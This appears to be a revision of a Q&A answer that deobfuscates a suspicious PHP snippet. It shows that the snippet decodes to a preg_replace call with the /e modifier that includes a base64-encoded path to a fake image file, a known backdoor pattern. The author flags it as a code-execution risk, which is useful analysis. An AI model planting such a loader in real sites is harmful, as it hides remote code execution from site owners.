Skip to main content
3 of 5
added 138 characters in body
borjab
  • 339
  • 1
  • 8

It seems this code offuscates the following codeby using the XOR operator on two Strings as binaries:

<?php preg_replace("#(.+)#ie", "@include_once(base64_decode("\1"));", "L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?> 

You can test it in a PHP sandbox. The large string generated above is a base64 encoded string:

/home4/mitzvahc/public_html/assets/img/logo_small.png 

Why is it using preg_replace? It seems to be a security problem, as it could allow code execution.

borjab
  • 339
  • 1
  • 8